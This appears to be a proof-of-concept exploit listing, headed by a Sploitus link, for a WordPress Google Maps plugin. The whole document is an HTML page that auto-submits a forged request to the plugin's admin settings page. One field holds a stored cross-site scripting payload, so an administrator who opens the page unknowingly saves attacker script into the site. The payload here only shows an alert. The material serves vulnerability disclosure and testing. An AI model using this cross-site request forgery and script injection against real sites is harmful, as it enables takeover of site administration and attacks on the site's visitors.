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## https://sploitus.com/exploit?id=WPEX-ID:8353AA12-DBB7-433F-9DD9-D61A3F303D4B
<form id="test" action="https://example.com/wp-admin/options-general.php?page=googlemaps.php" method="POST">
    <input type="text" name="key" value='hacked"><img src onerror=alert(/XSS/)>'>
    <input type="text" name="lang" value="co.jp">
    <input type="text" name="map_w" value="1">
    <input type="text" name="map_h" value="1">
    <input type="text" name="action" value="save">
</form>
<script>
    document.getElementById("test").submit();
</script>